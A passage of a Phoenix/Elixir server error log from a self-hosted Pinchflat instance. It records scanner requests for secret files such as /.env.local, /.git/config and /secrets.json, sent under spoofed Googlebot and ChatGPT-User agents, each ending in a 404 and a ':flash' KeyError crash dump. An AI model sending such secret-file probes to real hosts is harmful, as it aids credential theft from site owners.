"GMUmA3qkgPyIDloAAUmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3612.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41342}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3612.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41342}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v (truncated) 02:30:23.716 [error] #PID<0.3615.0> running PinchflatWeb.Endpoint (connection #PID<0.3614.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3614.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41356}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3615.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmA3rK-10zJBgAAUoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3614.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41356}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3614.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41356}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x- (truncated) 02:30:23.719 [error] #PID<0.3616.0> running PinchflatWeb.Endpoint (connection #PID<0.3599.0>, stream id 4) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.sample ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3599.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.sample", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41312}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3616.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.sample", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmA3swUHr-RQ4AAUpB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3599.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.sample", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41312}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3599.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.sample", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41312}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3616.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.co (truncated) 02:30:29.145 [info] GET /.git/config 02:30:29.145 [debug] QUERY OK source="settings" db=0.1ms idle=420.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.145 [debug] QUERY OK source="settings" db=0.0ms idle=420.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.145 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:29.146 [error] #PID<0.3618.0> running PinchflatWeb.Endpoint (connection #PID<0.3617.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05e8a4f3123-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "b0f86a72mz5r.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "104.22.1.48", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3618.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e05e8a4f3123-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "b0f86a72mz5r.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "104.22.1.48"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBL7MfKe5OsIAAUqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05e8a4f3123-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "b0f86a72mz5r.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "104.22.1.48", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05e8a4f3123-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "b0f86a72mz5r.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "104.22.1.48", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3618.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], (truncated) 02:30:29.148 [info] GET /secrets.json 02:30:29.148 [debug] QUERY OK source="settings" db=0.0ms idle=423.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.148 [debug] QUERY OK source="settings" db=0.0ms idle=423.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:29.148 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:29.148 [error] #PID<0.3619.0> running PinchflatWeb.Endpoint (connection #PID<0.3617.0>, stream id 2) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /secrets.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05e9889e886-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "918ed4253pev.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "104.22.56.192", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3619.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e05e9889e886-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "918ed4253pev.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "104.22.56.192"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/secrets.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBL775RSr2fcAAUrB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, 